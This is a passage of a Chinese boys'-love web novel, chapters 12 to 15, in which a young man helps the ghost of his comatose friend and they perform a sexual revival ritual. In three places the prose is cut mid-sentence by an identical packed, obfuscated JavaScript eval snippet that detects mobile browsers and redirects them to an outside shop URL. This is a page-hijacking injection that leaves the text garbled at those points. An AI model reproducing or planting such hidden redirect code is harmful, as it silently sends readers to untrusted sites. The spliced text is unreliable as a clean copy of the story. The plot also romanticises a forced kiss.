江宵宵心想,谁家机车慢慢骑啊?可要是加速,伞肯定会被风吹跑。算了,能坐上去过过瘾也好。 - 机车店离得不算远,苏辞行叫了辆出租车,很快就到了。 一路上他低声与身旁的空气交谈,时不时露出微笑。 司机被他吓得够呛,频频从后视镜里瞥他,心里直打鼓,这孩子该不会是精神不太好吧?怎么一路都在自言自语? … 见到新机车时,苏辞行特别要求,找个没光的地方验车。 12. 吸阳鬼 销售经理只当他是行事低调,便引他们进了车库。门一关,光线暗下来,江宵宵这才敢显出身形。 银白色的机车静静停在那里,线条凌厉,每个棱角都泛着冷冽的光,车身宽大。尽管不能真正坐上去,江宵宵已经激动得不行。 “这辈子值了。” 他伸出手,缓慢抚过机身,虽然碰不到,却仿佛能感受到那股金属的冰凉与力量。 苏辞行在一旁登记信息、预约车牌,回头就见他这副模样,轻轻拍了下他脑袋:“我左手打伞,你坐我前面。先去办个临时牌照,然后带你去个很大的车库玩。” “好!” 苏辞行离开后,销售员一脸困惑,这人怎么老对着空气说话? - 临时牌照办好,苏辞行把机车骑到一栋大商场的地下室。 地下共有六层,光线昏暗,只有节能灯幽幽亮着,不见半点日光。 江宵宵缩在他怀里,这才算“坐”上了机车。 他趴在雨伞上面,畅快地吼了一声:“出发——” 苏辞行踩紧油门,机车瞬间从地下一层窜至六层,在空旷的车库里如游蛇般灵活穿行。苏辞行车技极好,即便擦着小车的边也能完美避开。 江宵宵张开双臂,欢呼:“哇,没想到做了鬼还能坐到最爱的机车!苏辞行,你什么时候学的?简直天才!” 苏辞行记得,江宵宵以前就常借高年级的机车出去飙车。因此他自己一成年就去考了驾照,本来想送他一辆,谁知他也在向父亲讨要。 “宵宵,对不起……如果我早点知道你这么喜欢机车,早点让你拿到,或许你和江叔叔也不会吵成那样。” 江宵宵一把捂住他的嘴:“还说这种话?我早说过你不用道歉。能赢是你的本事,别在这儿煽情了,快点!再带我兜几圈!” “好,趴稳了,别被风吹跑。” “怎么可能?风哪吹得动我,我是厉害的鬼!” 机车猛然加速,江宵宵哇哇大叫,后背紧贴苏辞行的胸膛,兴奋地扭来扭去。 “太好玩了!苏辞行,再快点!来个漂移——” “对对对。酷毙了——” 向来矜持安静的苏辞行,其实并不热衷这类刺激游戏,今天却陪着这小鬼疯了个够。最后被保安发现,两人被撵了出去。 江宵宵从没这样开心过。从前压力太大,满脑子只有学习;成了鬼,反倒一身轻松。 苏辞行左手撑伞,右手控车,速度放得很慢。路人投来怪异的目光,他也毫不在意。这样骑机车,大概也算史上头一遭了。 “等你好了,我们一起来场机车比赛。” 江宵宵转过头,昂起下巴:“那我肯定赢你!” 苏辞行低头看他。变成鬼魂后,江宵宵只能待在阴凉处,皮肤苍白得近乎透明,一双眼睛却亮得惊人。 到了地方,苏辞行停好车,搂着他下来,左手仍稳稳撑着伞,将阳光遮得严严实实。 “宵宵,我想亲你,可以吗?” 江宵宵瞪大眼睛:“当然不行!” 苏辞行搂紧他的腰,手指轻抚过他发丝,眼中浮起哀伤:“宵宵,曾爷爷的老房子已经荒了,大概找不到什么资料……年代太久,我不知道该怎么让你的魂魄回到身体……我怕以后,真的亲不到了……” 看他这副神情,江宵宵心里又一软。反正都快死了,给他亲一下也没什么吧? 再说,我是直男。 亲一下又不代表喜欢男人。 他心一横,仰起脸,把刘海往旁边拨了拨:“行吧行吧,就一下啊,快点。” 苏辞行的目光落在他淡白的唇上,吃起来会不会像冰淇淋?他缓缓低头,吻了上去。 四唇相触,江宵宵瞳孔骤缩,用力想推开,却被苏辞行牢牢箍在怀中。 不是亲额头吗?! 怎么是嘴?! 他的初吻啊! 苏辞行轻轻探出舌尖,手掌托住他后脑,细致地品尝那冰凉柔软的唇,像棉花糖,又像冰块,凉得让人心悸。 “唔……唔……” 公园里遛狗的大爷眯起眼,看见一个年轻人对着空气又抱又亲,动作认真得像真搂着个人。大爷揉揉眼睛:“真是老花眼喽……” 不知过了多久,就在江宵宵快要窒息时。 苏辞行忽然放开他,随即一阵天旋地转,脸色煞白,晃了晃便向后倒去。伞落在地上,他双眼紧闭,失去了意识。 江宵宵慌忙躲回伞下,顾不上骂人,急得大喊:“苏辞行!苏辞行!你怎么了?!” “苏辞行!!”他伸手去晃他,指尖却被阳光灼到,烫得缩了回来。 “好疼……” “苏辞行!你别吓我!!”江宵宵忍着灼痛,再次伸手去推他,眼泪几乎要掉下来。“有没有人!帮帮忙啊!” 强烈的无助感席卷而来。 他意识到自己是鬼,若在乎的人出事,自己竟连碰触都做不到,这种认知几乎要让他崩溃。 “好烫……”他缩回手吹了吹,白皙的皮肤已被灼红,疼得眼泪直掉。 “怎么办……”他想把苏辞行抱到阴凉处,可若让人看见一个人凭空悬着走,明天肯定上新闻。他又轻轻把人放下。 “苏辞行……”眼泪滚落,滴在苏辞行脸上,冰凉凉的一点。 “……宵宵。” “苏辞行!!”江宵宵立刻抓住他的手,“你醒了!你怎么样?脸这么白……吓死我了,还以为你中暑……接吻难道还会中毒吗?怎么就突然晕了?” 苏辞行按住额角,低声道:“不知道……刚才好像有什么从身体里被抽走了。” 目光落在他烫红的手上,苏辞行瞳孔一缩:“你的手怎么了?” 江宵宵躲在伞下,闷声道:“想把你拖进来的时候碰到阳光了……又烫又痛。你个缺心眼的,强吻我就算了,还突然晕倒,体质这么差。” 苏辞行拿起伞,将他护进怀里:“对不起,我不知道刚刚怎么回事,可能最近没休息好。” 他叫来家里的保镖把机车运回,又叫了辆网约车。 为防万一,绝不能让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084485|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江宵宵再沾半点阳光。 回到车上,江宵宵疼得不停吹手,整个人都被烫得发晕。可静下心后,又隐隐觉得体内仿佛多了一丝奇异的力量。 就在这时,苏辞行的手机响了,是金芸打来的,一定和江宵宵有关。 “喂,金阿姨。” 金芸声音激动,带着哭腔:“小辞……宵宵的呼吸机刚才亮了!虽然只恢复了几分钟,现在又被送进手术室抢救……但这说明宵宵没死,他有呼吸、有心跳!我赶紧把这个好消息告诉你,免得你一直担心……” 苏辞行愕然:“什么?宵宵刚刚有呼吸了?” 他猛地看向江宵宵,小鬼也一脸震惊。 鬼……是会吸阳气的。 难道江宵宵刚才吸了他的阳气? 江宵宵也在想同一件事,为什么苏辞行昏迷时,自己就有了呼吸?时间点完全吻合,而且苏辞行脸色那么差…… 苏辞行突然抓住他的手,右手捏住他下巴,低头又要吻下去。江宵宵用力将他推开,后背紧紧抵住车门。 “别碰我!” 苏辞行伸出手,声音发颤:“宵宵……你也猜到了?果然学霸都很聪明,所以你真的可以通过吸阳气恢复,对不对?你多吸一点,说不定……” “闭嘴!”江宵宵红着眼瞪他,“阳气没了是什么意思你不知道吗?刚才就亲了几分钟,你就晕倒了,脸色白成那样……再久一点你是不是就会死?你想用你的命换我的吗?!” 苏辞行握紧他的手:“我愿意!” 前座的司机毛骨悚然,从后视镜瞥了一眼,颤声问:“帅哥……你、你不是从精神病院出来的吧……” 苏辞行回过神,松开手,揉了揉太阳穴:“不是,我只是习惯自言自语,不好意思。” “哦,那就好那就好……我还以为车上有鬼呢……” 司机总感觉背后凉凉的,赶紧加速踩紧了油门。 - 到家后,江宵宵气鼓鼓地往前飘,苏辞行举着伞紧追在后。 “宵宵!慢点,有太阳——” 他快步上前一把搂住他的腰,将人带进屋里。还是这儿阴暗,一楼没有任何光线,适合他。 江宵宵一进门就飘进卧室,钻到床底下趴着不动了。 苏辞行跟进来,蹲在床边:“宵宵,别生气了,对不起。” 床下没回应。 苏辞行干脆也趴下来,朝里伸手:“出来吧,底下脏。” 江宵宵炸毛:“不要你管!我乐意魂飞魄散,跟你没关系。” 苏辞行叹了口气,轻轻握住他的胳膊:“乖,我知道错了。以后不让你吸阳气,不用我的命换你的……我们再想别的办法,好不好?快出来。” 这小鬼脾气大,却吃软不吃硬,哄几句就会心软。 苏辞行微微掀起床垫,把人强行拉出来,在他脸颊上亲了一下:“我错了。” “我的宵宵……真是个善良的小鬼。” 江宵宵翻白眼,扇了他一巴掌:“快肉麻死了,你刚刚突然强吻我,我还要找你算账。” 13. 着急鬼 苏辞行闻言,低头凑近他,声音里带着一丝调侃:“那你强吻回来好了。” 江宵宵一愣:“?” 随即忍不住怒吼:“艹!你当我傻啊!” 苏辞行噗嗤笑出声,伸手捏了捏他的脸颊:“那你想怎么样?” 江宵宵忽然抓住他的胳膊,使劲拧住他手臂内侧的肉,往反方向一扭。 苏辞行痛得“嘶”了一声,甩开这只炸毛的小鬼,低头一看,皮肤上已经红了一块。 他倒吸一口冷气:“容嬷嬷附体啊你,下手这么狠。” 江宵宵冷哼一声,转身爬回床上,身体穿过被子蒙头就睡。 苏辞行也跟着躺下,侧身靠过去,低声道歉:“对不起,我亲你之前,是得到你允许的……不算强吻。” 江宵宵怒道:“我以为你只是亲额头!想着反正人都死了,初吻留到下辈子再说……” 话没说完,苏辞行忽然低头堵住了他的唇。 这次的吻很轻,舌尖温柔地探进来,轻轻扫过齿列。他轻轻舔了一下,嗓音微哑:“宵宵,别说这种丧气话。” “如果你真的不在了,我恐怕也活不下去。” 江宵宵怔怔地看着他,随后捂住嘴又踢又踹,又亲!这算什么?以后还怎么找女朋友? 苏辞行一把将人按进怀里,任由他捶打。怀里的人闹腾了一阵,忽然不动了。 “苏辞行,”夜色里,江宵宵的声音异常冷静,“你得好好的,好好活着。” 他躺在苏辞行怀里,揉了揉眼睛:“你是个很好的人……我不想你出事。” 苏辞行低低应了一声,没多解释,只是将他搂得更紧。 “同床共枕,抱过、亲过、接过吻,我们现在,算什么关系?” 江宵宵瞪他:“我是直男,不喜欢男人。是你一直在对我做这些过分的事。” “好好好,”苏辞行眼里漾开笑意,“对不起,是我变态。” 江宵宵沉默下来。 其实,或许因为自己已是将死之身,才没有太多抗拒,任由他亲近。苏辞行心思敏感,容易落泪,他总是不由自主地心软。 可是…… 如果把苏辞行当作恋人来看,他几乎符合自己对伴侣的所有幻想:条件好、长相出众、成绩优秀、聪明体贴,会做饭、懂疼人,甚至愿意豁出性命去爱。 这样的人,怎么看都不会是渣男。 简直是所有人梦寐以求的完美男友。 不行不行,江宵宵,千万别被表象迷惑! - 第二天。 因为江宵宵无法出门,苏辞行表面上说是去上学,实际上却去了医院。 江宵宵的身体仍在ICU。昨天短暂恢复呼吸后,心跳虽比之前有力了些,但整体状况依然不容乐观。 金芸请了两个月的假。医院的护理她始终放心不下,坚持亲自守在儿子身边照料。 苏辞行先回了一趟家,在书包里翻找许久,随后又去地下车库开出那辆奥迪A8,决定回老家一趟,看看能否找到一些线索。 老家位于距离江城三小时车程的乡村。苏辞行一路高速疾驰,赶在中午前抵达。 村子里已没剩多少住户,楼房陈旧,多数人都搬去了城里的新房,只留下一些孤寡老人。他在路上顺手买了米、油、棉被等生活用品,从后备箱卸下后,分给那些子女不在身边的老人。 做完这些,苏辞行来到爷爷生前居住的泥坯老屋。 这是曾祖父当年亲手搭建的土房,如今已破败不堪,厨房塌了一半,木门也推不开,只发出刺耳的吱呀声。 苏辞行一脚踹开摇摇欲坠的木门,灰尘扑面而来。 他掩住口鼻,走进左侧那间旧屋。屋里只剩一张破木桌,散落着一些废纸。他将所有纸页收好,塞进背包。 父亲苏秋明曾说过,曾祖父习惯把重要的东西藏在床底。 苏辞行趴到地上,伸手往床底摸索。两只老鼠突然窜出,吓了他一跳。 他干脆拆开那张快要散架的旧木床,掀开腐烂成碎片的草席,果然,床底下藏着一只木盒。 苏辞行取出木盒,又将地上一些字迹模糊的旧书捡起,小心地装进背包。 正准备继续翻找,屋外突然传来一声闷响。 他抬头一看,房梁已开始倾斜,这老屋要塌了,苏辞行抱起背包冲出门外。 前脚刚踏出,身后便传来轰隆一声,整座泥房彻底垮塌。 “曾爷爷,对不起,我不是故意毁掉您的老屋。”苏辞行在门外磕了个头,起身走向车子。 坐进驾驶座,他迫不及待地打开那只木盒。 里面是三本关于捉妖驱邪的道士手札,还有一张泛黄的纸,上面记载着“借尸还魂”之法。 苏辞行瞳孔骤缩,仔细看去,文中提到了白色玉佩,清楚写道:玉佩可护人性命,亦可在人死后,将魂魄引回躯体。 他连忙翻动手札,寻找更多线索。这时,半张残页从第三本书中飘落。 苏辞行拾起,只见上面写着:[魂魄离体后,需吸足生人阳气,以命换命,方可归位。] 看到这句,他心一沉。然而目光扫到最后一行,又猛地定住。 [若鬼与人类缔结契约,经双修之法,亦可获阳气续魂。] 那时的“双修”,放在今天,大约就是指…… 苏辞行“啪”地合上手札,胸口起伏。 这是天意吗? 曾爷爷竟真的留下了解法。 所以,这枚玉佩本可在佩戴者遭遇不测时护住魂魄,再与心爱之人结合,便能重获生机。 只是阴差阳错,因自己那滴泪,竟让江宵宵用上了这个方法。 玉佩救了江宵宵一命,这个认知让苏辞行肩头的重担终于轻了些。 他一直以为,是自己这些“邪门”的东西害得江宵宵魂魄离体。 “宵宵……” “他肯定不愿意和我做吧……” 回程路上,高速下起了暴雨。苏辞行打开雾灯,稳着方向盘前行。他十八岁考摩托车证时顺便考了驾照,平时开得不多,但车技还算平稳。 …… 天色渐渐暗下。 江宵宵在家里闷得发慌。碰不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084486|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到手机,摸不着实物,一整天只能躺在床上发呆、睡觉。 苏辞行出门前会把电视打开给他解闷,但节目早就播完了,他又没法换台,当鬼真是太不方便了。 江宵宵飘到客厅,看了眼墙上的挂钟。 八点多了。平时这个时间,苏辞行早就放学回来了。 他坐到沙发上继续等。又过了一个小时。 怎么回事?今天不回来了吗? 江宵宵起身,穿过大门飘了出去。入了夜,他总算可以自由活动。 他先去了学校,没找到人。又飘到宿舍,坐在苏辞行的床上,听他那两个室友闲聊。 听了十分钟,毫无线索。正打算离开,却忽然听见了苏辞行的名字。 “哎,明天中午放学后,咱们去医院看看辞行吧。” “行。听说车祸现场挺惨的……他一个人开车跑那么远干嘛?” “谁知道呢。他最近老是神神叨叨的,还有梦游的毛病……也不知道什么时候能好,真挺不容易的。” 江宵宵猛地回头,冲到那两人面前大声问:“车祸?苏辞行出车祸了?他在哪家医院?!” 可那两人已经换了话题,根本听不见他的声音。 江宵宵转身冲出宿舍。鬼魂的速度极快,不用迈步,转眼就飘到了苏家。屋里亮着灯,只有保姆在客厅打扫。 他又赶到医院,找到了妈妈。她正在病房陪外婆聊天。这些日子,外公外婆看到了她的悔意和孝心,没再与她争吵。 江宵宵急得团团转。 苏辞行到底在哪家医院? 无处可去,他索性躲进外婆病房,钻进床底下趴着。地板又冷又硬,连鬼都觉得难受。 金芸和外婆聊了会儿家常,话题又转到江宵宵身上。她说等儿子好了,要去学校附近买套房陪读,甚至想辞掉工作,天天给他做饭。 外婆摆摆手:“你还是算了。宵宵喜欢自由,你们夫妻俩少管他就是。对了,小辞怎么样了?” 金芸叹了口气,这些日子她憔悴了许多:“那孩子也是傻,非信什么道士的说法,回老家找能让宵宵醒来的法子……还好没伤到骨头,只是小腿韧带拉伤,医生说过几天就能出院,现在不能下床。” 江宵宵瞪大眼睛。 总算听到了关键消息。 - 第二天,他想跟着妈妈去找苏辞行,可金芸也是白天才出门。 他们都白天活动!自己怎么跟?会不会被太阳晒到魂飞魄散? 江宵宵顾不了那么多,见金芸出门走向停车场,钻进江誉为的车里。 他不顾一切冲过阳光,魂魄穿过车门时,烫得惨叫一声,跌在后座蜷成一团发抖。 “好热……” 金芸下意识回头望了一眼,或许是母子连心,她忽然捂住胸口,望着空荡荡的后座,神情恍惚。 江誉为问:“怎么了?” “没事……就是忽然胸口发闷,总觉得宵宵就在身边。”金芸叹了口气,系好安全带。 江誉为轻轻拍了拍她的手安抚:“别胡思乱想,你可不能再倒下了。” 14.怕死鬼 江宵宵挣扎着爬起来,红着眼眶望向父母,声音哽咽:“妈!是我啊,真的是我……” 他飘到金芸怀里,想如从前那样坐在母亲身上,魂魄却径直穿过她的身体。 女人只是茫然地望着窗外,丝毫察觉不到儿子正依偎在她怀中。 江宵宵趴在她胸口,脑袋依恋地蹭了蹭:“妈……” 金芸忽然捂住心口,左右张望,明明看不见任何身影,却仿佛能感应到孩子的存在:“宵宵……” “妈妈!是我!我是宵宵!”江宵宵急切地与她目光相对。 金芸的眼泪倏地落下,低头擦拭着泪痕喃喃:“总觉得宵宵就在身边……可能是我太想他了。每天看他从前活蹦乱跳的样子,现在却只能躺在ICU里,我心里就揪着疼。” 江誉为一脚刹住车,在等红灯的间隙抽出纸巾替妻子擦泪:“坚强点。孩子以前总爱发脾气离家出走,往后咱们就让他自由些吧。我想通了,攀比没什么意思,顺其自然就好。只要他能好好活着,哪怕考倒数第一也行。” 金芸点点头,想到儿子受这么重的伤,还拼命护住她的那些嫁妆首饰,心口又是一阵刺痛。 江宵宵怔怔望着他们,眼泪也无声滚落。 曾经积攒的怨气,在这一刻悄然消散,父母或许对他太过严厉,可在生死面前,那些矛盾都显得微不足道。 - 好在车子已驶入医院地下车库,江宵宵不必再承受日光灼烧,可以直接从地下室飘往病房。 江誉为提着三个礼盒,金芸抱着两个果篮和一箱车厘子,两人带了许多探望品。 江宵宵眼馋地跟在后面飘着,伸手想拿颗车厘子,却只能徒劳地穿过包装盒,咬不到,好气。 刚靠近病房,便听见里面传来争执声。 江宵宵急忙飘上前,率先钻进房间,终于见到了苏辞行,他脸上贴着两处创可贴,小腿缠满弹性绷带,正执拗地试图下床:“我要出院。” 苏母用力按着他:“小辞!你怎么这么倔!医生说了中度韧带拉伤至少要卧床一周,你这腿不想要了吗?” “我不想住院……”苏辞行掀开被子。 “苏辞行!”江宵宵飘到他面前。 “宵宵?!”苏辞行震惊地睁大眼睛。车祸后他始终悬着心,生怕独自在家的江宵宵玩不了手机四处乱跑,遭遇意外,这才急着想回去报个平安。 苏母被吓了一跳,往后看,哪里有人啊。 江宵宵本能地想靠近,却被窗边透进的日光逼退两步:“好痛……” 苏辞行立即转头:“拉上窗帘!” “啊?好、好……”苏母虽不明所以,还是快步拉拢窗帘,又坐回床边握住儿子的手,“你刚刚喊宵宵……是想去见江宵宵吗?” 这时江誉为和金芸也走进病房,见苏辞行受伤后还惦记着自己儿子,心中又是感激又是歉疚。 “江叔叔,金阿姨,你们怎么来了……”苏辞行说着,目光仍悄悄追随着江宵宵。 江宵宵飘到他身边,将食指抵在唇前:“嘘……” 苏母起身相迎:“江教授,你们太客气了,带这么多东西。” 江誉为将礼品放下:“应该的。小辞和宵宵是好朋友,又为我们家忙前忙后,听说他因为宵宵的事出了车祸,我们实在过意不去。” 苏母轻叹一声,看样子,他们还不知道自己儿子对江宵宵的心意。 “别这么说。这孩子最近精神不太好,医生检查后说只是韧带拉伤。倒是宵宵……他现在情况怎么样?” 金芸脸上浮现温和而坚韧的笑意:“上次恢复过一次自主呼吸,宵宵一定会醒过来的。” “那就好,那就好。” 苏辞行忽然开口:“妈,您带江叔叔他们去吃点午饭吧。我有点累,想休息了。” 苏母狐疑地瞪他:“你不会又想偷跑吧?” “不跑。”苏辞行突然安分地躺下,“我就住这儿。您不放心的话,可以让人在门口守着。” 苏母愈发困惑,儿子醒来后一直闹着要走,怎么突然变了态度?虽想不明白,见他确实面露疲色,便招呼着江家父母一同离开了病房。 门刚关上,苏辞行立即握住江宵宵的手,连声追问:“你怎么出来的?现在可是白天!是跟着你父母来的吗?” “嗯。出来时太阳晒得浑身都疼,幸好车里能遮阳,我才没事。”江宵宵在他床边坐下,皱眉打量他,“倒是你,急着跑回去干什么?一个人开着车上高速跑那么远,比我胆子还野。” 苏辞行轻轻抚过他发顶:“让我看看,有没有被晒伤?” “没事。”江宵宵偏头躲开,语气却软了几分,“你……身上没别的伤吧?” 两人目光相触,眼中都是藏不住的关切,还有一丝若有若无的暧昧。 江宵宵不自在地低下头,心里乱成一团,很不想看见他受伤。 苏辞行轻轻捧起他的脸:“宵宵,我现在要跟你说一件很严肃的事。你可以拒绝,也可以接受,无论如何我都尊重你的选择。” “什么?” “我回家找到了曾爷爷留下的资料,里面有还魂的解法。他生前可能觉得玄学不靠谱,才把这些东西藏了起来。” 苏辞行解释完,看着江宵宵那双清澈茫然的眼睛,耳根微微泛红,声音也低了几分:“方法是……需要与牵绊之人双修,补足魂魄的阳气,才能回到身体里。而那个人就是我。” 他停顿两秒,又忐忑不安地说:“也就是说,你要和我上床。” 江宵宵眨了眨眼,像没听懂:“上床?” “嗯,做那种事。” “和你?男人和男人?”江宵宵的音调骤然升高。 苏辞行点头,抬手掩住唇边,掩不住羞涩神情。 江宵宵果然炸毛跳起来,站在床上:“开什么玩笑!那我宁愿死了算了!” 苏辞行垂下眼眸,长睫轻颤,又露出那种惯常的、仿佛受尽委屈的忧郁神情:“我明白……没关系。就算你死了,我也会去陪你。” 江宵宵最看不得他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087923|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这副模样,像被全世界欺负了似的。 而“死亡”这两个字,又让他心底发怵,如果身体不干净了,大不了以后单身一辈子。 可要是死了,就再也见不到爸妈、外公外婆,再也没法骑心爱的机车…… 他是个怕死鬼。 如果一场交易就能换回生命,这点委屈似乎……也不算无法忍受。 会不会让苏辞行委屈? 应该不会,这家伙暗恋他这么久,占便宜了才对。 江宵宵烦躁地抓了抓头发,终于豁出去般开口:“可是……我根本不会啊。我是直男,完全不懂男人和男人该怎么……” “我会。”苏辞行迅速接话。 江宵宵噎住了。 苏辞行的语气好像已经期待很久似的,做过准备功课?看不出来,还是个闷骚。 “艹!” 他脸上发烫,别别扭扭地补了一句:“如果真有效……我也不白占你便宜,以后会报答这份恩情。” 苏辞行唇角轻轻扬起:“好。” “那……等你腿好点再说?你身上没别的伤吧?” “没有。谢谢你关心。” 江宵宵浑身不自在。昔日的死对头变得如此温柔克制,反倒让他不知该如何应对了。 苏辞行悄悄握住他的手,十指相扣。江宵宵愣了愣,竟也没有立刻甩开。是习惯了?还是心里生出了别的什么感情? 这感觉太诡异了。 可眼下摆在他面前的,只有两个选择:要么死,要么做。 他不想吸干苏辞行的阳气,更清楚如果没有对方,自己早就灰飞烟灭,是这个人日日夜夜为他寻找生机。 窗外云影掠过,病房里寂静无声。两只交握的手,一个温热,一个虚幻,却同样在轻轻颤抖。 苏辞行把人搂在怀里闭上眼:“宵宵,我会对你负责一辈子的。” “那也用不着,都说了我是直男。” 苏辞行噗嗤笑出声,已经想象出,以后这个炸毛小鬼被吃干抹净后,还能不能说出“我是直男”这四个字。 一周后。 苏辞行出院那天,他爸妈始终不明白,为什么非要挑在晚上。暮色四合,路灯昏暗,他走路时腿疼得厉害,却执意自己拄着拐杖,谁也不让扶。 苏秋明和苏母跟在儿子身后,看着他那一瘸一拐、却挺得僵直的背影。男人的脸笼在阴影里,声线低沉: “看他这副样子,也不知道像了谁。命差点搭进去不说,我新买的车也给撞成了废铁。” 苏母拍了拍他胸口,轻声笑道:“行了,少说两句吧。你又不缺那辆车。当年追我的时候,我妈嫌远嫁太远,是谁跪在门口几天几夜,下暴雨也不肯走?不也一样不要命似的非要娶我……你说这倔劲儿随了谁?” 苏秋明干咳两声,老脸微热:“那怎么能一样?” 苏辞行慢慢挪到医院停车楼,司机已经为他拉开车门,伸手接过拐杖。 只有他自己知道,身旁还有个小鬼正搀着他的胳膊。 15.不是鬼啦 如果不是江宵宵扶着,他恐怕走不了这么稳。 江宵宵搀他坐进车里,正要跟着飘进去,却忽然被轻轻一拽,整个人跌进一个温热的怀里。 江宵宵刚要开口骂,就听见苏辞行哑着声说:“韧带拉伤太疼了……站不稳。” “活该。”江宵宵瞪他一眼,眉头蹙得紧紧的。 苏辞行也没想到会遇上连环追尾,还是被货车撞上。腿被变形的仪表盘抵了下,只受了个轻伤已是万幸,只有活着,才能回来找机会复活他的爱人。 司机挠了挠头,心里直打鼓。少爷最近总对着空气自言自语,怕是真疯了,这病可得赶紧治。 - 因为腿伤不便下厨,这段时间苏辞行只好回家静养。房子里窗帘永远紧闭,也不知道两个少年在里头腻歪些什么。 家里有保姆照应,每到吃饭时,苏辞行下楼来,总习惯多摆一副碗筷。 江宵宵就坐在他对面,对着饭菜猛吸香气。 有一天保姆终于忍不住提醒:“少爷,您怎么每顿饭都先供上一份?这……不太吉利,先生夫人见了该说您了。” 苏辞行只淡淡笑了笑:“最近有点信邪。” 江宵宵晃着腿坐在对面,笑嘻嘻插话:“再给我摆点水果嘛!” “好。” 保姆转身要出门,又听见苏辞行交代:“张姨,走后面吧,正门今天阳光太烈,我怕晒。谢谢。” “哎,好。可是少爷,您还是得晒晒太阳,家里人都担心着呢。”张姨心里越发疑惑,整天不见光,吃饭还自言自语,该不是中邪了,还是得了什么心病? “嗯,我知道。” 等张姨离开,江宵宵一边吸着水果香气,一边晃腿笑得开心:“大家都快当你疯了。你爸妈每次回来,跟你说话都小心翼翼的。苏辞行,再这么下去,你也要被当成鬼啦。” 苏家别墅从前敞亮通透,如今却窗帘全掩,白天也开着灯,夜里窗户紧闭,整栋房子仿佛沉进昏暗里。 没人敢多说,生怕刺激了这个看似失常的少爷。 “我只要你平安。”苏辞行轻声说。 江宵宵的魂魄不能久晒阳光,若是魂飞魄散,就真的回不来了。 “宵宵,我腿好多了。今晚……要不要……” 江宵宵突然从椅子上弹起来,往楼上飘:“对!我突然想起来今晚月圆,得去楼顶赏月!” 苏辞行沉默下来。 这已是第三次被拒绝。如果江宵宵心里仍存着抗拒,他也不想勉强。 “好,我陪你看。” 江宵宵没料到他答应得这么干脆。反倒显得自己言而无信,一次次推脱。 不行,江宵宵!你可是个鬼!怕他做什么? 好,今晚就把他扑倒,让他见识见识厉害。 - 入夜后,繁星点点,圆月高悬,像一盏明灯缀在夜幕。室内的灯光也调得柔和。 苏辞行洗完澡,正吹着头发,又从衣柜取出披风,准备陪那小鬼上楼赏月。 忽然身后猛地一撞,那鬼扑了上来,从背后勒住他脖子,气势汹汹嚷道:“来!办正事!小爷我明天就要复活!” 苏辞行转过头:“今天?想清楚了?” 江宵宵嘿嘿笑了两声:“怎么,想反悔?怕了?看我怎么——” 话没说完,双手陡然被苏辞行反锁住,腰也被紧紧搂住。天旋地转间,他被按倒在了床上。 江宵宵后脑勺磕得发懵,用力挣了挣手腕,却纹丝不动。见鬼,这人吃什么了?大力神丸吗? 他在床上像只炸毛的野猫扭来扭去,腿也被苏辞行压住,整个人如同被钉在床上,只能嗷嗷乱叫:“放开我!放开!” “这什么姿势啊太奇怪了!” “靠!苏辞行你是不是吃药了?鬼都打不过你!” “你……唔……” 嘴唇忽然被吻住。 江宵宵整个人一软,眼神迷茫地望着身上的人。随后眼睛被一只大手轻轻遮住。 少年的吻细腻而温柔,像带着微风的夜晚,悄然拂遍他全身,痒痒的。 “苏辞行……” “这样……好像不太对……” “呃……” “宵宵,你身体好凉。” “别,别碰那里……” 两个人紧紧相叠,一个热,一个凉,冰火两重天。 江宵宵猛地睁大眼睛,变成鬼之后就很怕烫,这诡异的温度在他身体里,好像自己的体温也在回升,有种特别奇异的感觉。 好痛。 他趴在床上,冰凉的泪染湿了床单,还在悔恨咬牙,支离破碎地喊:“直男……直男怎么能干这种事……可恶……” “哭了?我轻点。” “没有的事!你别停!” “好~” …… 这一夜,室内吵了一宿,不管江宵宵怎么哭闹,还是在那里含泪欢笑,只有苏辞行能听见他的声音,也可以肆无忌惮呐喊。 - 翌日清晨。 窗帘被微风轻轻掀起,苏辞行皱了皱眉,睁开眼。他猛地坐起身,环顾四周,江宵宵的魂魄已经不见了。 “江宵宵?” “宵宵!” “江宵宵!!” 他翻身下床,匆匆披上外套就往外跑。下楼梯时被保姆扶住胳膊:“少爷,您慢点,腿才刚好,当心又摔着。” 苏辞行直接拨通司机电话:“去医院,现在就去。” 司机就住在对面小区,车很快开到门前。苏辞行拉开车门冲进去,正要催司机开快些,手机忽然响了。 “喂?金阿姨。” “小辞,小辞……宵宵醒了!宵宵醒了!” 电话那头传来金芸哭哑的声音,背景嘈杂纷乱,依稀能听见亲友的喧哗和医护的交谈。 苏辞行挂断电话,声音发紧:“快一点!” - 病房门口围满了人。 亲戚朋友几乎都来了,还有住得近的小学、初中、高中同学。 